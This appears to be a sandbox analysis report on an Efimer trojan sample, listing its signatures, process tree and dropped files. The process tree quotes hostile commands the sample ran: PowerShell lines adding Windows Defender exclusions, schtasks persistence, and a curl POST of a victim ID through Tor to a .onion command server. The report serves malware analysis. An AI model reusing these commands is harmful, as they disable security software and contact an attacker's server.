Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
29/04/2026, 16:54
General
- Target _97c71b6121880b926622ece7f2aa5b3bb94dd151224740cc5a6cd94334068a60.exe
- Size 12.0MB
- Sample260429-vesyeahw7j
- SHA256 97c71b6121880b926622ece7f2aa5b3bb94dd151224740cc5a6cd94334068a60
Malware Config
Signatures
- Family: Efimer
Efimer is a trojan written in JS.
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\_97c71b6121880b926622ece7f2aa5b3bb94dd151224740cc5a6cd94334068a60.exe"C:\Users\Admin\AppData\Local\Temp\_97c71b6121880b926622ece7f2aa5b3bb94dd151224740cc5a6cd94334068a60.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_97c71b6121880b926622ece7f2aa5b3bb94dd151224740cc5a6cd94334068a60.exe"C:\Users\Admin\AppData\Local\Temp\_97c71b6121880b926622ece7f2aa5b3bb94dd151224740cc5a6cd94334068a60.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ubodo'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ubodo'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn apeda /xml C:\Users\Public\Documents\ubodo\apeda.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ajogu /xml C:\Users\Public\Documents\ubodo\ajogu.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ubodo\apeda.js1⤵
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ubodo\ajogu.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Documents\ubodo\ugate.exe"C:\Users\Public\Documents\ubodo\ugate.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-4b3b38e2&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
-
-
C:\Users\Public\Documents\ubodo\ugate.exe"C:\Users\Public\Documents\ubodo\ugate.exe"2⤵
- Executes dropped EXE
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_p2ysfraq.ewm.ps1
cfile
cached-certs
cached-microdesc-consensus
cached-microdescs.new
cached-microdescs.new
state
GUID
ajogu.js
ajogu.xml
apeda.js
apeda.xml
ugate.exe
words.txt
memory/908-163-0x00000220D4640000-0x00000220D464C000-memory.dmp
memory/908-162-0x00000220D43A0000-0x00000220D453A000-memory.dmp
memory/908-164-0x00000220D5F80000-0x00000220D5F92000-memory.dmp
memory/1076-241-0x0000023ACEB50000-0x0000023ACECEA000-memory.dmp
memory/1212-69-0x0000013752060000-0x0000013752082000-memory.dmp
memory/1212-70-0x00000137380B0000-0x00000137380C0000-memory.dmp
memory/1212-84-0x0000013752340000-0x0000013752348000-memory.dmp
memory/1212-83-0x00000137526C0000-0x00000137526DA000-memory.dmp
memory/1212-86-0x0000013752380000-0x000001375238A000-memory.dmp
memory/1212-82-0x0000013752330000-0x000001375233A000-memory.dmp
memory/1212-85-0x0000013752370000-0x0000013752376000-memory.dmp
memory/1212-61-0x00000137380B0000-0x00000137380C0000-memory.dmp
memory/1212-62-0x00000137380B0000-0x00000137380C0000-memory.dmp
memory/1212-80-0x0000013752320000-0x000001375232A000-memory.dmp
memory/1212-71-0x00007FF4CE790000-0x00007FF4CE7A0000-memory.dmp
memory/1212-81-0x0000013752350000-0x000001375236C000-memory.dmp
memory/1212-78-0x0000013752300000-0x000001375231C000-memory.dmp
memory/1212-93-0x00000137380D0000-0x00000137380DC000-memory.dmp
memory/1212-94-0x0000013751E00000-0x0000013751EEA000-memory.dmp
memory/1212-95-0x0000013751EF0000-0x0000013751F02000-memory.dmp
memory/1212-79-0x00000137523B0000-0x0000013752463000-memory.dmp
memory/1384-130-0x0000022144D70000-0x0000022144D82000-memory.dmp
memory/1384-129-0x0000022144BB0000-0x0000022144BBC000-memory.dmp
memory/1384-128-0x0000022142DB0000-0x0000022142F4A000-memory.dmp
memory/1528-145-0x000001E5B0A30000-0x000001E5B0A3C000-memory.dmp
memory/1528-146-0x000001E5C91A0000-0x000001E5C928A000-memory.dmp
memory/1528-147-0x000001E5B0EA0000-0x000001E5B0EB2000-memory.dmp
memory/1680-180-0x000001A980410000-0x000001A98041C000-memory.dmp
memory/1680-179-0x000001A9FE300000-0x000001A9FE49A000-memory.dmp
memory/1680-181-0x000001A998770000-0x000001A998782000-memory.dmp
memory/2372-112-0x0000026CD6210000-0x0000026CD62FA000-memory.dmp
memory/2372-113-0x0000026CD6380000-0x0000026CD6392000-memory.dmp
memory/2372-111-0x0000026CBC3E0000-0x0000026CBC3EC000-memory.dmp
memory/2884-238-0x000002C606B70000-0x000002C606B7C000-memory.dmp
memory/2884-237-0x000002C604D60000-0x000002C604EFA000-memory.dmp
memory/3028-87-0x00007FF6FB540000-0x00007FF6FB572000-memory.dmp
memory/3028-209-0x00007FF6FB540000-0x00007FF6FB572000-memory.dmp
memory/3300-88-0x00007FF6FB540000-0x00007FF6FB572000-memory.dmp
memory/3300-89-0x00000228979E0000-0x0000022897B7A000-memory.dmp
memory/3300-90-0x0000000070180000-0x000000007022B000-memory.dmp
memory/3300-207-0x00000228979E0000-0x0000022897B7A000-memory.dmp
memory/3300-206-0x00007FF6FB540000-0x00007FF6FB572000-memory.dmp
memory/3300-208-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4276-205-0x000002706DFF0000-0x000002706E18A000-memory.dmp
memory/4812-240-0x000001BE74B40000-0x000001BE74B4C000-memory.dmp
memory/4812-239-0x000001BE74950000-0x000001BE74AEA000-memory.dmp